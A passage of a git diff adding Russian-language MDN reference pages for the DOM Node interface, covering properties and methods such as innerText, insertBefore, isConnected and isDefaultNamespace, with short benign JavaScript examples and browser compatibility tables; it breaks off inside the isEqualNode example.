+ <dd>Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернет<code> null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернет <code>null</code>.</dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} представляющий префикс пространства имен узла или <code>null</code> если нет префикса точно определенного.<br>
+ Хотя недавние спецификации требуют того, чтобы <code>префикс</code> был определен как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko еще реализовывают его как интерфейс {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращают {{domxref("Node")}} представляющий предыдущий узел древа или <code>null</code>, если нет такого узла.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Это {{domxref("DOMString")}} представляющее текстовый контент элемента и всех его потомков.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы от своих родителей {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Вставляет {{domxref("Node")}} как последний дочерний узел данного элемента.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Клонирует {{domxref("Node")}}, и опционально, все его компоненты. По умолчанию, оно клонирует содержимое узла.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Позволяет пользователю получить некоторый {{domxref("DOMUserData")}} от узла.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} показывающий, есть ли у элемента какие-либо атрибуты или нет.</dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} показывающий, есть ли у элемента дочерние узлы или нет.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Вставляет первым {{domxref("Node")}} данный в качестве параметра, непосредственно перед вторым, потомком данного элемента {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isSameNode()")}} {{obsolete_inline}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a> флаг содержащий результаты теста, реализует ли реализация DOM конкретную особенность и поддерживается ли эта особенность конкретным узлом.</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Очищает все текстовые узлы под этим элементом (поглотить смежный, удалить пустой).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Удаляет дочерний узел из текущего элемента, который должен быть потомком текущего узла.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Заменяет одного потомка {{domxref("Node")}} из существующего на второй указанный в параметре.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Позволяет пользователю присоединить или удалить {{domxref("DOMUserData")}} к узлу.</dd>
+ <dd> </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Просмотреть_все_дочерние_узлы">Просмотреть все дочерние узлы</h3>
+
+<p>Следующая функция рекурсивный цикл всех дочерних узлов узла и она исполняет вызов функции относительно их (и себя относительно родительского узла).</p>
+
+<pre class="brush: js">function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}</pre>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<pre>DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Описание">Описание</h4>
+
+<p>Рекурсивный цикл всех дочерних узлов <code>parentNode</code> и<code> </code>самого <code>parentNode</code>, выполняет <code>callbackFunction</code> относительно их  как <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>эти</code></a> объекты.</p>
+
+<h4 id="Параметры">Параметры</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>Родительский узел (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>Обратный вызов функции (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Пример_использования">Пример использования</h4>
+
+<p>Следующий пример отправляет в <code>console.log</code> текстовое содержимое body:</p>
+
+<pre class="brush: js">function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};</pre>
+
+<h3 id="Удалить_все_потомки_вложенные_в_узел">Удалить все потомки, вложенные в узел</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};</pre>
+
+<h4 id="Пример_использования_2">Пример использования</h4>
+
+<pre class="brush: js">/* ... как альтернатива document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Сецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалены следующие свойства: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, и <code>localName</code>.<br>
+    Удалены следующие методы: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>isSameNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, и <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Методы <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> возвращают еще один вид ошибок (<code>NOT_SUPPORTED_ERR</code>) если вызваны из {{domxref("Document")}}.<br>
+    Метод <code>normalize()</code> был модифицирован таким образом, что узел {{domxref("Text")}} также может быть нормализован, если надлежащий флаг {{domxref("DOMConfiguration")}} установлен.<br>
+    Добавлены следующие методы: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+    Добавлены следующие свойства: <code>baseURI</code> and <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Свойство <code>ownerDocument</code> был слегка изменен, так что {{domxref("DocumentFragment")}} также возвращает <code>null</code>.<br>
+    Добавлены следующие свойства: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Добавлены следующие методы: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("6.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getUserData()</code>, <code>setUserData()</code> and <code>hasAttributes()</code> {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSameNode()</code> {{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("9.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSupported()</code> {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживаемые от  {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Перемещено к  {{domxref("Element")}} в {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от  {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("6.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Webkit и Blink неверно не делают <code>Node</code> наследуя от {{domxref("EventTarget")}}.</p>
diff --git a/files/ru/web/api/node/innertext/index.html b/files/ru/web/api/node/innertext/index.html
new file mode 100644
index 0000000000..ef23b48d59
--- /dev/null
+++ b/files/ru/web/api/node/innertext/index.html
@@ -0,0 +1,46 @@
+---
+title: Node.innerText
+slug: Web/API/Node/innerText
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.innerText</strong></code> - это свойство, позволяющее задавать или получать текстовое содержимое элемента и его потомков. В качестве геттера, свойство приближается к тексту, который пользователь получит, если он выделит содержимое элемента курсором, затем копирует его в буфер обмена.</p>
+
+<p>Изначально, данное поведение было представленно Internet Explorer, и было формально специализированно в стандарте HTML в 2016 после того, как было адаптированно всеми ведущими браузерами.</p>
+
+<p>{{domxref("Node.textContent")}} - это альтернативное свойство, которое имеет ряд отличий:</p>
+
+<ul>
+ <li><code>textContent</code> получает содержимое <em>всех</em> элементов, включая  <a class="new" href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/script" title="This article hasn't been written yet. Please consider contributing!"><code>&lt;script&gt;</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/style" title="HTML-элемент &lt;style> содержит стилевую информацию для документа или его части. По умолчанию стилевые инструкции внутри этого элемента считаются написанными на CSS."><code>&lt;style&gt;</code></a>, тогда как <code>innerText</code> этого не делает.</li>
+ <li><code>innerText</code> умеет считывать стили и не возвращает содержимое скрытых элементов, тогда как <code>textContent</code> этого не делает.</li>
+ <li>Метод <code>innerText</code> позволяет получить CSS, а <code>textContent</code> — нет.</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Представлено, основываясь на <a href="https://github.com/rocallahan/innerText-spec">черновике спецификации innerText</a>. См. <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> и <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.Node.innerText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/insertbefore/index.html b/files/ru/web/api/node/insertbefore/index.html
new file mode 100644
index 0000000000..f28d388147
--- /dev/null
+++ b/files/ru/web/api/node/insertbefore/index.html
@@ -0,0 +1,132 @@
+---
+title: Node.insertBefore()
+slug: Web/API/Node/insertBefore
+tags:
+  - API
+  - DOM
+  - DOM Element Methods
+  - Method
+  - WebAPI
+translation_of: Web/API/Node/insertBefore
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <code><strong>Node.insertBefore()</strong></code> добавляет элемент в  список дочерних элементов родителя перед указанным элементом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>insertedElement</em> = <em>parentElement</em>.insertBefore(<em>newElement</em>, <em>referenceElement</em>);
+</pre>
+
+<p>В Mozilla Firefox, если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">referenceElement</span> не задан или равен <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">newElement</span> вcтавляется в конец списка дочерних элеметнов. В IE, <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">referenceElement</span> равный <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">undefined</span>, сгенерируется исключение <span style="line-height: 1.5;">"</span>Invalid argument", в то время как Chrome сгенерирует исключение  "Uncaught TypeError", ожидая 2 аргумента.</p>
+
+<ul>
+ <li><code>insertedElement</code> Вставленный элемент.</li>
+ <li><code>parentElement</code> Родитель для нового элемента.</li>
+ <li><code>newElement</code> Элемент для вставки.</li>
+ <li><code>referenceElement</code> Элемент, перед которым будет вставлен <code>newElement</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;div id="parentElement"&gt;
+  &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Создаем новый &lt;span&gt;
+var sp1 = document.createElement("span");
+
+// Получаем ссылку на элемент, перед которым мы хотим вставить sp1
+var sp2 = document.getElementById("childElement");
+//Получаем ссылку на родителя sp2
+var parentDiv = sp2.parentNode;
+
+// Вставляем sp1 перед sp2
+parentDiv.insertBefore(sp1, sp2);
+&lt;/script&gt;
+</pre>
+
+<p>Однако нет метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он может быть заменен использованием метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> в связке с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
+
+<p>В предыдущем примере <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp1</span> может быть вставлен после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> следующим образом:</p>
+
+<pre><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
+
+<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> не имеет следующего элемента, то он будет последним дочерним элементом,  <code style="font-style: normal;">sp2.nextSibling вернет </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, а <code style="font-style: normal;">sp1</code> вставится в конец дочернего узла (сразу после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p>
+
+<h2 id="Example2" name="Example2">Пример 2</h2>
+
+<p>Вставка элемента перед первым дочерним элементом с помощью <a href="/en-US/docs/DOM/Node.firstChild" title="Node.firstChild">firstChild</a>.</p>
+
+<pre class="brush:js">// Получаем ссылку на элемент в который мы хотим добавить новый элемент
+var parentElement = document.getElementById('parentElement');
+// Получаем ссылку на первый дочерний элемент
+var theFirstChild = parentElement.firstChild;
+
+// Создаем новый элемент, который будем добавлять
+var newElement = document.createElement("div");
+
+// Вставляем новый элемент перед первым дочерним элементом
+parentElement.insertBefore(newElement, theFirstChild);
+</pre>
+
+<p>Когда у родителя нет первого дочернего элемента, <code>firstChild</code> вернет <code>null</code>. Новый элемент все равно будет втавляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемета, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-952280727">insertBefore</a></li>
+</ul>
diff --git a/files/ru/web/api/node/isconnected/index.html b/files/ru/web/api/node/isconnected/index.html
new file mode 100644
index 0000000000..aef8cf8ee7
--- /dev/null
+++ b/files/ru/web/api/node/isconnected/index.html
@@ -0,0 +1,87 @@
+---
+title: Node.isConnected
+slug: Web/API/Node/isConnected
+translation_of: Web/API/Node/isConnected
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <strong><code>isConnected</code></strong> read-only property of the {{domxref("Node")}} interface returns a boolean indicating whether the Node is connected (directly or indirectly) to the context object, for example the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var isItConnected = nodeObjectInstance.isConnected</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Boolean")}} that is <code>true</code> if the node is connected to its relevant context object, and <code>false</code> if not.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Стандартный DOM пример:</p>
+
+<pre class="brush: js"><code class="language-html">let test = document.createElement('p');
+console.log(test.isConnected); // returns false
+document.body.appendChild(test);</code>
+<code class="language-html">console.log(test.isConnected); // returns true</code>
+</pre>
+
+<p>A shadow DOM example:</p>
+
+<pre class="brush: js">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+console.log(style.isConnected); // returns false
+
+style.textContent = '.wrapper {' +
+                       'position: relative;' +
+                    '}' +
+
+                     '.info {' +
+                        'font-size: 0.8rem;' +
+                        'width: 200px;' +
+                        'display: inline-block;' +
+                        'border: 1px solid black;' +
+                        'padding: 10px;' +
+                        'background: white;' +
+                        'border-radius: 10px;' +
+                        'opacity: 0;' +
+                        'transition: 0.6s all;' +
+                        'position: absolute;' +
+                        'bottom: 20px;' +
+                        'left: 10px;' +
+                        'z-index: 3;' +
+                      '}' +
+
+// attach the created style element to the shadow dom
+
+shadow.appendChild(style);
+console.log(style.isConnected); // returns true</pre>
+
+<p> </p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-isconnected','isConnected')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_Браузерами">Поддержка Браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Node.isConnected")}}</p>
+</div>
diff --git a/files/ru/web/api/node/isdefaultnamespace/index.html b/files/ru/web/api/node/isdefaultnamespace/index.html
new file mode 100644
index 0000000000..941474c135
--- /dev/null
+++ b/files/ru/web/api/node/isdefaultnamespace/index.html
@@ -0,0 +1,34 @@
+---
+title: Node.isDefaultNamespace()
+slug: Web/API/Node/isDefaultNamespace
+translation_of: Web/API/Node/isDefaultNamespace
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <strong><code>Node.isDefaultNamespace()</code></strong> принимает URI пространства имен в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением <code>true</code> если пространство имен является пространством имен данного узла по умолчанию или <code>false</code> если нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>result</em> = <em>node</em>.isDefaultNamespace(<em>namespaceURI</em>)
+</pre>
+
+<ul>
+ <li><code>result</code> содержит в себе возращаемое значение <code>true</code> или <code>false</code>.</li>
+ <li><code>namespaceURI</code> это строка представляющая собой пространство имен, на которое элемент будет проверен.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var XULNS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
+var el = document.getElementsByTagNameNS(XULNS, 'textbox')[0];
+
+alert(el.isDefaultNamespace(XULNS)); // true</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isDefaultNamespace">DOM Level 3 Core: isDefaultNamespace</a></li>
+ <li><a href="/en-US/docs/Code_snippets/IsDefaultNamespace" title="Code_snippets/IsDefaultNamespace">Code snippets: isDefaultNamespace</a></li>
+</ul>
diff --git a/files/ru/web/api/node/isequalnode/index.html b/files/ru/web/api/node/isequalnode/index.html
new file mode 100644
index 0000000000..3c76678b0a
--- /dev/null
+++ b/files/ru/web/api/node/isequalnode/index.html
@@ -0,0 +1,66 @@
+---
+title: Node.isEqualNode()
+slug: Web/API/Node/isEqualNode
+translation_of: Web/API/Node/isEqualNode
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p> <code><strong>Node.isEqualNode()</strong></code> проверяет, равны ли два узла. Два узла равны, когда они имеют один и тот же тип, определяющий характеристики (для элементов это будет их идентификатор, количество потомков и т. д.), Его атрибуты совпадают и т. д. Конкретный набор точек данных, которые должны совпадать, зависит от типов узлов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>isEqualNode</var> = <var>node</var>.isEqualNode(<var>otherNode</var>);
+</pre>
+
+<ul>
+ <li><code>otherNode</code>: Узел {{domxref("Node")}} с которым надо сравнить.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере мы создаем три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the first element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the second element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>This is the first element.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="id token">#output</span></span> <span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">440</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="token unit">px</span> solid black<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> <span class="number token">5</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">10</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">20</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+</div>
+
+<div class="hidden"></div>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">let</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"output"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">let</span> divList  <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
